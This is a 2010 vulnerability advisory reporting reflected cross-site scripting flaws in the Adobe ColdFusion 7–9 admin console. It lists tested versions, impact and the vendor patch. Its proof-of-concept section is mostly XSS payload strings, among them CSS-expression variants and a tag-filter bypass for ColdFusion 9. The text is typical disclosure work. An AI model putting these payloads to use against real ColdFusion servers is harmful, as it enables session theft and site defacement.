Vulnerability found:
17 April 2010

Vendor informed:
19 April 2010

Severity level:

Richard Brain of ProCheckUp Ltd (

Adobe ColdFusion is an easy to use and very widely adopted Programming language, Procheckup has discovered that the ColdFusion admin console (and various programs within), are vulnerable to reflective XSS attacks. The Admin console is normally accessed using a web browser over port 8500 (though this can be changed) or directly mapped onto a web server directory by proxying cfm extensions.

Note: Tested on ColdFusion enterprise version 8.01 running on Windows XP, and ColdFusion 7,8,9 running on Windows 2003 R2 SP2 server and mapped to IIS 6.
Defaults were chosen with "server contained installation", and all subcomponents.
Versions tested
ColdFusion MX7 7,0,0,91690 base patches
ColdFusion MX8 8,0,1,195765 base patches
ColdFusion MX8 8,0,1,195765 with Hotfix4
ColdFusion MX8 8,0,1,195765 with Hotfix4 and patches from security Bulletin APSB10-11 shf8010001.jar and
ColdFusion 9 9,0,0,251028 base patches - ColdFusion 9 includes a simple list of forbidden tags. So <script> cannot be used.
ColdFusion 9 9,0,0,251028 with Hotfix1 – ColdFusion 9 includes a simple list of forbidden tags. So <script> cannot be used

Proof of concept:
The following demonstrate the XSS flaws:-

1) Unauthenticated vanilla XSS - ColdFusion 7 and ColdFusion 8. IE7 browser used."><script>alert(1)</script>3081b18fb95=1

Does not work with ColdFusion 7"><script>alert(1)</script>=1"><script>alert(1)</script>"><script>alert(1)</script>"><script>alert(1)</script>3081b18fb95=1"><script>alert(1)</script>3081b18fb95=1"><script>alert(1)</script>1fb5988b6d1"><script>alert(1)</script>3081b18fb95=1"><script>alert(1)</script>3081b18fb95=1

Works intermittently, or delayed response."style%3d"x:expression(alert(1))"

COLDFUSION VERSION 9 – Variants which work with CF9 as do not use the <script> tag
To circumvent this the <script>alert(1)</script> needs to be substituted with a tag not on the match list </XSS/*-*/STYLE=xss:e/**/xpression(window.location="")> (this works on IE7 & IE6)"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>3081b18fb95=1"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>=1"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>1"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>3081b18fb95=1"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>3081b18fb95=1

3) Authenticated vanilla XSS attacks.
IE7 +Firefox - authenticated"><script>alert(1)</script>5d59011273e

IE7 - authenticated

IE7 - authenticated – Does not work with ColdFusion 7"style%3d"x:expression(alert(1))"6de21ab4628&action=edit

Takes a while to come back - authenticated"style%3d"x:expression(alert(1))"8d51e21067f

COLDFUSION VERSION 9 – Variants which work with CF9 as do not use the <script> tag
To circumvent this the <script>alert(1)</script> needs to be substituted with a tag not on the match list </XSS/*-*/STYLE=xss:e/**/xpression(window.location="")> (this works on IE7 & IE6)"></XSS/*-*/STYLE=xss:e/**/xpression(window.location="")>5d59011273e"style%3d"x:expression(alert(1))"6de21ab4628&action=edit

Takes a while to come back"style%3d"x:expression(alert(1))"8d51e21067f

4) Authenticated vanilla XSS fixed in ColdFusion 8 hotfix 4 (works with ColdFusion 8 and ColdFusion 7)."style%3d"x:expression(alert(1))"24ac5d7bc65&VerifyAllDatasources=+Verify+All+Connections+"style%3d"x:expression(alert(1))"886b9fc22e4&action=edit"style%3d"x:expression(alert(1))"df5c8bdd5e9&addarchive=%a0+Add+%a0&archivename=Test+Me

Takes a while to come back"style%3d"x:expression(alert(1))"7d1c33c9139&maxEngines=4&cacheSize=50&cacheType=1



An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to an exposed ColdFusion admin site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

How to fix:
Apply patch as described in Adobe bulletin apsb11-04


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